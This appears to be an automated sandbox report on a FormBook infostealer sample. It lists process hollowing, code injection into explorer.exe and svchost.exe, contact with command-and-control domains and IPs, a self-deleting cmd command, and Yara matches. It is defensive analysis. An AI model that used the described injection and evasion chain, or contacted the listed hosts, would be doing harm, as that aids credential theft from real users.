HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 63.250.43.8 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.personowner.guru
Source: C:\Windows\explorer.exe	Domain query: www.audiofactaesthetic.com
Source: C:\Windows\explorer.exe	Network Connect: 99.83.154.118 80			Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: 5E0000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Memory written: C:\Users\user\AppData\Roaming\ibeframnk863.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Thread register set: target process: 1764			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Thread register set: target process: 1764			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 1764			Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	Binary or memory string: ProgmanG
Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Queries volume information: C:\Users\user\AppData\Roaming\ibeframnk863.exe VolumeInformation

Jump to behavior

Queries the cryptographic machine GUID

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY